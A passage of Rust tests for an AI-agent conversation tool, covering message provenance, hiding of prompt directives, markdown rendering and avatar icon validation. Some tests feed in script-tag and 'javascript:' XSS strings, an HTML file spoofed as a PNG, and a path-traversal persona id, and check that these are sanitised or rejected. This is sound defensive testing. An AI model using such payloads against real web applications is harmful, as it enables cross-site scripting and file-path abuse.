14334            let Json(view) = call(n).await.expect("immediate consecutive change");
14335            assert_eq!(view.talk.implementers, n);
14336            assert!(!view.thinking);
14337            assert!(!ui.is_thinking(&id));
14338        }
14339
14340        let mut closed = talks.get(&id).expect("reload");
14341        talk::close(&mut closed, &talks).expect("close");
14342        let e = call(2).await.expect_err("closed talk");
14343        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14344        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14345    }
14346
14347    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14348    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14349        let tmp = TempDir::new().expect("tempdir");
14350        let repo = tmp.path().join("repo");
14351        std::fs::create_dir_all(&repo).expect("repo dir");
14352        std::fs::write(
14353            repo.join("magi.toml"),
14354            format!("{MOCK_AGENT_TOML}\n{extra}"),
14355        )
14356        .expect("write magi.toml");
14357        let home = TempDir::new().expect("temp home");
14358        let talks = Talks::at(home.path().join("talks"));
14359        let ui = Arc::new(
14360            Ui::new(
14361                Queue::at(home.path().join("queue")),
14362                Questions::at(home.path().join("questions")),
14363                talks.clone(),
14364                home.path().join("runs"),
14365                home.path().to_path_buf(),
14366                repo.clone(),
14367            )
14368            .with_worktrees_root(home.path().join("wt")),
14369        );
14370        let cfg = config_for(&repo).await.expect("discover config");
14371        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14372        (tmp, home, ui, talk.id, repo)
14373    }
14374
14375    #[tokio::test]
14376    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14377        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14378        let mut conversation = ui.talks.get(&id).unwrap();
14379        talk::record(
14380            &mut conversation,
14381            &ui.talks,
14382            "# Update on a task you filed\noperator words",
14383            vec![],
14384        )
14385        .unwrap();
14386        // Simulate an old operator record; headings do not prove authorship.
14387        conversation.turns[0].sender = None;
14388        conversation.turns[0].messages.clear();
14389        ui.talks.put(&mut conversation).unwrap();
14390        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14391        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14392        talk::drain(&mut conversation, &ui.talks).unwrap();
14393        talk::record_reply(
14394            &mut conversation,
14395            &ui.talks,
14396            "about that report",
14397            vec![],
14398            Some(talk::ReplyTarget {
14399                turn: 1,
14400                message: 1,
14401            }),
14402        )
14403        .unwrap();
14404        conversation.turns[2].messages[0]
14405            .reply
14406            .as_mut()
14407            .unwrap()
14408            .sender = None;
14409        conversation.turns.push(talk::Turn {
14410            sender: Some(talk::Sender::Persona),
14411            who: talk::Who::Agent,
14412            body: "magi: actual persona words".into(),
14413            at: Timestamp::now(),
14414            attachments: vec![],
14415            usage: None,
14416            breaks: None,
14417            messages: vec![],
14418            posted_by: None,
14419        });
14420        ui.talks.put(&mut conversation).unwrap();
14421        let view = TalkView::with_config(
14422            ui.talks.get(&id).unwrap(),
14423            false,
14424            None,
14425            &ui.home,
14426            &ui.references,
14427        );
14428        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14429        assert_eq!(
14430            view.talk.turns[1].messages[0].sender,
14431            Some(talk::Sender::Operator)
14432        );
14433        assert_eq!(
14434            view.talk.turns[1].messages[1].sender,
14435            Some(talk::Sender::Magi)
14436        );
14437        assert_eq!(
14438            view.talk.turns[2].messages[0]
14439                .reply
14440                .as_ref()
14441                .unwrap()
14442                .sender,
14443            Some(talk::Sender::Magi)
14444        );
14445        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14446        assert_eq!(view.turn_messages_md[0].len(), 1);
14447        assert!(view.turn_messages_md[0][0].is_none());
14448        assert!(view.turn_messages_md[1][0].is_none());
14449        assert!(view.turn_messages_md[1][1].is_some());
14450    }
14451
14452    #[tokio::test]
14453    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14454        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14455        let mut conversation = ui.talks.get(&id).unwrap();
14456        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14457        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14458        talk::queue_notice(
14459            &mut conversation,
14460            &ui.talks,
14461            &body,
14462            "watch:123",
14463            &|_| false,
14464            None,
14465            display.clone(),
14466        )
14467        .unwrap();
14468        assert!(
14469            !talk::queue_notice(
14470                &mut conversation,
14471                &ui.talks,
14472                &body,
14473                "watch:123",
14474                &|_| false,
14475                None,
14476                display.clone()
14477            )
14478            .unwrap()
14479        );
14480        let saved = ui.talks.get(&id).unwrap();
14481        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14482        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14483        assert!(
14484            view.talk.turns[0].messages[0].display.is_none(),
14485            "operator copy stays literal"
14486        );
14487        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14488        assert!(view.turn_messages_md[0][0].is_none());
14489        let queued_md = view.pending_messages_md[0].clone();
14490        assert_eq!(
14491            queued_md,
14492            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14493        );
14494        talk::drain(&mut conversation, &ui.talks).unwrap();
14495        talk::record_reply(
14496            &mut conversation,
14497            &ui.talks,
14498            "Explain",
14499            vec![],
14500            Some(talk::ReplyTarget {
14501                turn: 1,
14502                message: 0,
14503            }),
14504        )
14505        .unwrap();
14506        let mut saved = ui.talks.get(&id).unwrap();
14507        assert_eq!(saved.turns[1].messages[0].body, body);
14508        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14509        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14510        assert!(!reply.excerpt.contains("automatic report"));
14511        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14512        saved.turns[1].messages[0].display = None; // old MAGI send
14513        ui.talks.put(&mut saved).unwrap();
14514        let view = TalkView::with_config(
14515            ui.talks.get(&id).unwrap(),
14516            false,
14517            None,
14518            &ui.home,
14519            &ui.references,
14520        );
14521        assert_eq!(view.turn_messages_md[1][0], queued_md);
14522        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14523        assert!(
14524            !view.talk.turns[2].messages[0]
14525                .reply
14526                .as_ref()
14527                .unwrap()
14528                .excerpt
14529                .contains("automatic report")
14530        );
14531        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14532    }
14533
14534    #[tokio::test]
14535    async fn consultation_display_hides_directives_in_queue_and_history() {
14536        for node in [
14537            "implement",
14538            crate::land::APPROVAL_NODE,
14539            crate::github_text::ASK_NODE,
14540        ] {
14541            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14542            let mut question = Question::new(
14543                "run-123".into(),
14544                node.into(),
14545                "seat-1".into(),
14546                "Which backend?".into(),
14547                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14548                vec!["SQLite".into(), "Redis".into()],
14549            );
14550            ui.questions.put(&mut question).unwrap();
14551            let body = crate::prompt::chat_consult(&question);
14552            let mut conversation = ui.talks.get(&id).unwrap();
14553            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14554            assert!(
14555                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14556            );
14557            conversation = ui.talks.get(&id).unwrap();
14558            assert_eq!(conversation.pending_messages[0].body, body);
14559            assert!(body.contains("magi answer"));
14560            let mut legacy_pending = conversation.clone();
14561            legacy_pending.pending_messages[0].display = None;
14562            let legacy_view =
14563                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14564            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14565            assert!(legacy_md.contains("Question consultation"));
14566            assert!(!legacy_md.contains("magi answer"));
14567            let view =
14568                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14569            assert!(
14570                view.turn_messages_md[0][0].is_none(),
14571                "operator copy stays literal"
14572            );
14573            let queued_md = view.pending_messages_md[0].clone().unwrap();
14574            let rendered = serde_json::to_string(&queued_md).unwrap();
14575            for visible in [
14576                "Which backend?",
14577                "Context",
14578                "storage",
14579                "SQLite",
14580                "Redis",
14581                "<script>literal</script>",
14582            ] {
14583                assert!(rendered.contains(visible), "missing {visible}");
14584            }
14585            for directive in [
14586                "What to do",
14587                "magi answer",
14588                "Never answer it yourself",
14589                "Do not edit the repository",
14590            ] {
14591                assert!(!rendered.contains(directive), "exposed {directive}");
14592            }
14593            assert_eq!(
14594                view.talk.pending_messages[0].display,
14595                Some(crate::prompt::chat_consult_display(&question))
14596            );
14597            talk::drain(&mut conversation, &ui.talks).unwrap();
14598            let view =
14599                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14600            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14601            assert_eq!(conversation.turns[1].messages[0].body, body);
14602
14603            // Historical consultations lack a snapshot: show a safe placeholder
14604            // rather than parsing instructions or reconstructing mutable facts.
14605            conversation.turns[1].messages[0].display = None;
14606            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14607            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14608            assert!(legacy.contains("Question consultation"));
14609            assert!(!legacy.contains("magi answer"));
14610            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14611        }
14612    }
14613
14614    #[test]
14615    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14616        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14617        let (body, mut display) =
14618            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14619        display.facts = facts.into();
14620        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14621        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14622        let json = serde_json::to_string(&nodes).unwrap();
14623        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14624            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14625        }
14626        assert!(json.contains("<script>alert(1)</script>"));
14627        assert!(!json.contains("javascript:"));
14628        assert!(!json.contains("Tell the operator"));
14629        assert!(!json.contains("untrusted"));
14630        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14631        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14632        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14633        assert_eq!(
14634            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14635            md::to_nodes("# Status", &md::ImageBase::None),
14636        );
14637    }
14638
14639    #[tokio::test]
14640    async fn notification_display_recovers_exact_legacy_completion_references() {
14641        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14642        let mut conversation = ui.talks.get(&id).unwrap();
14643        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14644            id: "task-123",
14645            title: "Change",
14646            status: "done",
14647            reason: None,
14648            run: Some("run-123"),
14649            pr: None,
14650            summary: Some("Merge state unknown"),
14651        });
14652        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14653        conversation.turns[0].sender = None;
14654        conversation.turns[0].messages.clear();
14655        conversation.turns[0].breaks = None;
14656        conversation.pending = body.clone();
14657        conversation
14658            .completion_notices
14659            .push(crate::chat_notify::CompletionReference {
14660                task: "task-123".into(),
14661                run: Some("run-123".into()),
14662                notice: body.clone(),
14663            });
14664        ui.talks.put(&mut conversation).unwrap();
14665        let view = TalkView::with_config(
14666            ui.talks.get(&id).unwrap(),
14667            false,
14668            None,
14669            &ui.home,
14670            &ui.references,
14671        );
14672        assert_eq!(
14673            view.talk.turns[0].messages[0].display,
14674            Some(display.clone())
14675        );
14676        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14677        assert_eq!(
14678            view.talk.turns[0].messages[0].sender,
14679            Some(talk::Sender::Magi)
14680        );
14681        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14682        conversation.completion_notices[0]
14683            .notice
14684            .push_str("different");
14685        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14686        assert!(view.talk.turns[0].messages.is_empty());
14687        assert!(view.talk.pending_messages.is_empty());
14688    }
14689
14690    #[tokio::test]
14691    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14692        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14693        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14694            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14695        ))
14696        .await;
14697        let path = avatar_setting_path(home.path(), Some("rei"));
14698        let orphan = avatar_setting_path(home.path(), Some("removed"));
14699        save_icon_file(&orphan, icon).unwrap();
14700        for (saved, expected) in [
14701            (icon, "custom"),
14702            ("builtin", "builtin"),
14703            ("data:image/png;base64,!!!!", "inherit"),
14704            ("data:image/png;base64,PGh0bWw+", "inherit"),
14705            ("/tmp/avatar.png", "inherit"),
14706        ] {
14707            atomic_icon_write(&path, saved).unwrap();
14708            let catalog =
14709                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14710                    .await
14711                    .unwrap()
14712                    .0;
14713            let personas = catalog["personas"].as_array().unwrap();
14714            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14715            assert_eq!(rei["override_state"], expected);
14716            assert_eq!(rei["has_config_icon"], true);
14717            assert_eq!(rei["is_orphan"], false);
14718            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14719            assert_eq!(removed["override_state"], "custom");
14720            assert_eq!(removed["is_orphan"], true);
14721            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14722            assert_eq!(default["override_state"], "inherit");
14723            assert_eq!(default["has_config_icon"], false);
14724            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14725            assert_eq!(
14726                effective.as_deref(),
14727                Some(if expected == "builtin" { "" } else { icon })
14728            );
14729        }
14730    }
14731
14732    #[tokio::test]
14733    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14734        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14735        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14736            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14737        ))
14738        .await;
14739        let target = |id: Option<&str>| AvatarSettingsQuery {
14740            persona: id.map(str::to_owned),
14741            ..Default::default()
14742        };
14743        let original_config = config_for(&repo).await.unwrap();
14744        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14745        let original_prompt = persona::section_for(&original_persona, None);
14746        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14747            .await
14748            .unwrap()
14749            .0;
14750        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14751            let _ = avatar_settings_put(
14752                State(ui.clone()),
14753                Query(target(persona)),
14754                Json(MagiIconUpload { icon: icon.into() }),
14755            )
14756            .await
14757            .unwrap();
14758            let path = avatar_setting_path(home.path(), persona);
14759            assert!(path.starts_with(home.path().join("avatars")));
14760            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14761            for bad in [
14762                "/tmp/image.png".to_owned(),
14763                "data:image/png;base64,!!!!".to_owned(),
14764                "data:image/png;base64,PGh0bWw+".to_owned(),
14765                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14766                format!(
14767                    "data:image/png;base64,{}",
14768                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14769                ),
14770            ] {
14771                assert!(
14772                    avatar_settings_put(
14773                        State(ui.clone()),
14774                        Query(target(persona)),
14775                        Json(MagiIconUpload { icon: bad })
14776                    )
14777                    .await
14778                    .is_err()
14779                );
14780                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14781            }
14782        }
14783        assert!(read_magi_icon(home.path()).is_none());
14784        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14785        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14786            .await
14787            .unwrap()
14788            .0;
14789        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14790        assert_ne!(
14791            before
14792                .personas
14793                .iter()
14794                .find(|p| p.id == "magi")
14795                .unwrap()
14796                .avatar,
14797            after
14798                .personas
14799                .iter()
14800                .find(|p| p.id == "magi")
14801                .unwrap()
14802                .avatar
14803        );
14804        let restarted = Arc::new(Ui::new(
14805            Queue::at(home.path().join("queue")),
14806            Questions::at(home.path().join("questions")),
14807            Talks::at(home.path().join("talks")),
14808            home.path().join("runs"),
14809            home.path().to_owned(),
14810            repo,
14811        ));
14812        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14813            .await
14814            .unwrap()
14815            .0;
14816        assert!(
14817            catalog["personas"]
14818                .as_array()
14819                .unwrap()
14820                .iter()
14821                .any(|p| p["id"] == "../custom/日本語")
14822        );
14823        for expected in ["custom", "default", "rei"] {
14824            assert!(
14825                catalog["personas"]
14826                    .as_array()
14827                    .unwrap()
14828                    .iter()
14829                    .any(|p| p["id"] == expected)
14830            );
14831        }
14832        let response =
14833            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14834        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14835        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14836            .await
14837            .unwrap();
14838        assert_eq!(
14839            effective_persona_icon(home.path(), "rei", Some(icon)),
14840            Some(String::new())
14841        );
14842        let response = talk_avatar(
14843            State(restarted.clone()),
14844            Path(id.clone()),
14845            Query(AvatarQuery {
14846                persona: Some("rei".into()),
14847                ..Default::default()
14848            }),
14849        )
14850        .await
14851        .unwrap();
14852        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14853        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14854            .await
14855            .unwrap()
14856            .0;
14857        assert_ne!(
14858            after
14859                .personas
14860                .iter()
14861                .find(|p| p.id == "rei")
14862                .unwrap()
14863                .avatar,
14864            reset
14865                .personas
14866                .iter()
14867                .find(|p| p.id == "rei")
14868                .unwrap()
14869                .avatar
14870        );
14871        let mut inherit = target(Some("rei"));
14872        inherit.inherit = Some("1".into());
14873        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14874            .await
14875            .unwrap();
14876        assert_eq!(
14877            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14878            Some(icon)
14879        );
14880        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14881            .await
14882            .unwrap();
14883        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14884        assert_eq!(
14885            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14886            Some(icon)
14887        );
14888        // Display changes never rewrite the conversation or its prompt-bearing config.
14889        let cfg = config_for(&ui.repo).await.unwrap();
14890        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14891        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14892        assert!(!original_prompt.contains("data:image"));
14893        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14894        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14895        assert!(!stored.contains("data:image"));
14896        let mut orphan = ui.talks.get(&id).unwrap();
14897        orphan.persona = "../custom/日本語".into();
14898        let view = TalkView::with_config(
14899            orphan,
14900            false,
14901            Some(&cfg),
14902            home.path(),
14903            &id_links::IndexCache::default(),
14904        );
14905        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14906    }
14907
14908    #[tokio::test]
14909    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14910        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14911        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14912        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14913        let _ = magi_icon_put(
14914            State(ui.clone()),
14915            Json(MagiIconUpload { icon: icon.into() }),
14916        )
14917        .await
14918        .unwrap();
14919        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14920        assert_ne!(original, changed);
14921        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14922        let response = magi_avatar(
14923            State(ui.clone()),
14924            Query(AvatarQuery {
14925                persona: None,
14926                builtin: None,
14927            }),
14928        )
14929        .await;
14930        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14931        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14932        assert_eq!(
14933            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14934            "nosniff"
14935        );
14936        for bad in [
14937            "data:image/png;base64,PGh0bWw+".to_owned(),
14938            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14939            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14940        ] {
14941            assert!(save_magi_icon(home.path(), &bad).is_err());
14942            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14943        }
14944        // Re-opened server state reads the same independent home file.
14945        let restarted = Arc::new(Ui::new(
14946            Queue::at(home.path().join("queue")),
14947            Questions::at(home.path().join("questions")),
14948            Talks::at(home.path().join("talks")),
14949            home.path().join("runs"),
14950            home.path().to_path_buf(),
14951            repo,
14952        ));
14953        assert_eq!(
14954            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14955            changed
14956        );
14957        let view = TalkView::with_config(
14958            restarted.talks.get(&id).unwrap(),
14959            false,
14960            None,
14961            &restarted.home,
14962            &restarted.references,
14963        );
14964        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14965        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14966        let response = magi_avatar(
14967            State(ui.clone()),
14968            Query(AvatarQuery {
14969                persona: None,
14970                builtin: None,
14971            }),
14972        )
14973        .await;
14974        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14975            .await
14976            .unwrap();
14977        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14978        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14979        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14980        let _ = magi_icon_delete(State(ui)).await.unwrap();
14981    }
14982
14983    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14984    async fn avatar(
14985        ui: &Arc<Ui>,
14986        id: &str,
14987        persona: Option<&str>,
14988        builtin: bool,
14989    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14990        let res = talk_avatar(
14991            State(Arc::clone(ui)),
14992            Path(id.to_owned()),
14993            Query(AvatarQuery {
14994                persona: persona.map(str::to_owned),
14995                builtin: builtin.then(|| "1".to_owned()),
14996            }),
14997        )
14998        .await
14999        .expect("an avatar is never an error response");
15000        let h = res.headers();
15001        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15002        let nosniff = h
15003            .get(header::X_CONTENT_TYPE_OPTIONS)
15004            .is_some_and(|v| v == "nosniff");
15005        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15006        let status = res.status();
15007        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15008            .await
15009            .expect("body")
15010            .to_vec();
15011        (status, ct, nosniff, csp, body)
15012    }
15013
15014    fn tiny_png() -> Vec<u8> {
15015        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15016        b.extend_from_slice(&[0u8; 32]);
15017        b
15018    }
15019
15020    #[tokio::test]
15021    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15022        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15023        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15024        assert_eq!(res.status(), StatusCode::OK);
15025        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15026        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15027        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15028        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15029        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15030            .await
15031            .unwrap();
15032        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15033        assert_ne!(
15034            persona_icon::operator_svg(),
15035            persona_icon::builtin_svg("default")
15036        );
15037    }
15038
15039    #[tokio::test]
15040    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15041        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15042        for p in [
15043            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15044        ] {
15045            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15046            assert_eq!(status, StatusCode::OK, "{p}");
15047            assert_eq!(ct, "image/svg+xml", "{p}");
15048            assert!(nosniff && csp, "{p}");
15049            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15050        }
15051        // No `persona` means the conversation's own; unknown ones fall back.
15052        let own = avatar(&ui, &id, None, false).await;
15053        let default = avatar(&ui, &id, Some("default"), false).await;
15054        assert_eq!(own.4, default.4);
15055        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15056        assert_eq!(unknown.1, "image/svg+xml");
15057    }
15058
15059    #[tokio::test]
15060    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15061        let dir = TempDir::new().expect("icons");
15062        let good = dir.path().join("good.png");
15063        std::fs::write(&good, tiny_png()).unwrap();
15064        let spoof = dir.path().join("spoof.png");
15065        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15066        let big = dir.path().join("big.png");
15067        let mut bytes = tiny_png();
15068        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15069        std::fs::write(&big, bytes).unwrap();
15070        let missing = dir.path().join("missing.png");
15071        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15072        let extra = format!(
15073            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15074             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15075             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15076             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15077             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15078             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15079            uri(&good),
15080            uri(&spoof),
15081            uri(&big),
15082            uri(&missing),
15083        );
15084        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15085
15086        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15087        assert_eq!(
15088            (status, ct.as_str(), nosniff),
15089            (StatusCode::OK, "image/png", true)
15090        );
15091        assert_eq!(body, tiny_png());
15092        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15093        assert_eq!(ct, "image/png", "data URI");
15094
15095        for p in ["misato", "asuka", "shinji", "magi"] {
15096            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15097            assert_eq!(
15098                (status, ct.as_str(), csp),
15099                (StatusCode::OK, "image/svg+xml", true),
15100                "{p}"
15101            );
15102            assert!(body.starts_with(b"<svg"), "{p}");
15103        }
15104        // The page's own retry skips the icon.
15105        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15106        assert_eq!(ct, "image/svg+xml");
15107    }
15108
15109    #[tokio::test]
15110    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15111        let oversized = format!(
15112            "data:image/png;base64,{}",
15113            "A".repeat(persona_icon::ICON_MAX_BYTES)
15114        );
15115        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15116            let extra = format!(
15117                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15118            );
15119            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15120            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15121                .await
15122                .expect("detail with invalid icon");
15123            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15124            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15125            assert_eq!(status, StatusCode::OK);
15126            assert_eq!(ct, "image/svg+xml");
15127            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15128            let Json(view) = talk_persona(
15129                State(Arc::clone(&ui)),
15130                Path(id.clone()),
15131                Json(TalkPersona {
15132                    persona: "custom".into(),
15133                }),
15134            )
15135            .await
15136            .expect("persona switch with invalid icon");
15137            assert_eq!(view.talk.persona, "custom");
15138            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15139        }
15140    }
15141
15142    #[tokio::test]
15143    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15144        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15145        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15146        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15147        assert_eq!(
15148            (status, ct.as_str(), nosniff, csp),
15149            (StatusCode::OK, "image/svg+xml", true, true)
15150        );
15151    }
15152
15153    #[tokio::test]
15154    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15155        let (_t, _h, ui, id, _repo) =
